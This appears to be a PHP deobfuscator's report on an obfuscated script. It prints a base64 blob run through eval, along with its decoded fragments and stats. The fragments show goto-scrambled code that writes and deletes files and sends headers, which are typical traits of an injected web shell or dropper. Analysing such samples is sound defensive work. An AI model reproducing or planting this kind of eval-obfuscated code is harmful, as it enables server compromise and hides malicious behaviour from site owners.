IGlmICgkcHM2TmspIHsgZ290byB6X1g4VTsgfSBnb3RvIElCbUVTOyBnYUFuUDogaXJPZ3Y6IGdvdG8gUUpmUVg7IG9zMlpDOiAkTk9hQWUgPSAiXDQ1XDY3XHgzM1x4MjVceDM2XHg0Mlx4MjVceDM3XHgzM1w0NVx4MzZceDM1XDQ1XDY3XDYyXDQ1XHgzNlx4MzZcNDVceDM3XDY1XDQ1XDY2XHg0Mlx4MjVcNjZcMTA0XHgyNVx4MzJcMTA1XDQ1XDY3XHgzM1w0NVx4MzZcMTA1XDQ1XDY2XHgzNVw0NVw2N1w2Nlw0NVx4MzZcNjZcNDVcNjZcNjdcNDVcNjZcMTA1XHgyNVw2Nlx4MzFceDI1XDY3XDYwXHgyNVx4MzdcNjJceDI1XHgzMlwxMDVceDI1XDY2XDEwMlw0NVx4MzZcMTAzXDQ1XHgzNlwxMDQiOyBnb3RvIHhWZVhlOyB2TFh6czogYmFCdDI6IGdvdG8gUHQ3bVQ7IEJJZkZwOiBOdnI0NTogZ290byBDZHUwRDsgV3FEQ2k6IHZhRWZNOiBnb3RvIEVac2hpOyBJWXFxMTogQGhlYWRlcigiXHg0M1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NFw1NVx4NzRceDc5XDE2MFx4NjVcNzJcNDBceDc0XHg2NVwxNzBcMTY0XHgyZlx4NjhcMTY0XDE1NVwxNTRcNzNceDIwXHg2M1wxNTBcMTQxXDE2MlwxNjNceDY1XDE2NFw3NVwxNjVceDc0XHg2Nlw1NVx4MzgiKTsgZ290byBVdXpaMDsgQ3FHOVY6IGdvdG8gZHlGUGw7IGdvdG8gZ2lVSHE7IG5GOVdROiBleGl0OyBnb3RvIEg5bWVHOyBxODRoRjogaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRaMTF6SiwgJGNIVDc1KSkgeyBnb3RvIGtQN19NOyB9IGdvdG8gcmpqVmM7IEFGWTZOOiBAaGVhZGVyKCJcMTAzXDE1N1x4NmVcMTY0XDE0NVwxNTZcMTY0XDU1XHg3NFwxNzFceDcwXHg2NVw3Mlw0MFwxNjRcMTQ1XDE3MFx4NzRceDJmXDE1MFwxNjRcMTU1XDE1NFx4M2JceDIwXHg2M1x4NjhcMTQxXDE2MlwxNjNcMTQ1XDE2NFw3NVwxNjVceDc0XDE0Nlx4MmRcNzAiKTsgZ290byBicUJfVzsgaWNMN0g6ICRidWd1UyA9IE9yMVBSKCk7IGdvdG8gY2xuMEw7IGV3U1h4OiB5anpiQjo=');
eval($a);

Function Calls

base64_decode 1

Variables

$a goto u69AN; ViqMn: @unlink($xBZTf); goto VUA0Q; qXQc_: YTybr..

Stats

MD5 cc4939bd3611718da73996c0ba3a5f2c
Eval Count 1
Decode Time 82 ms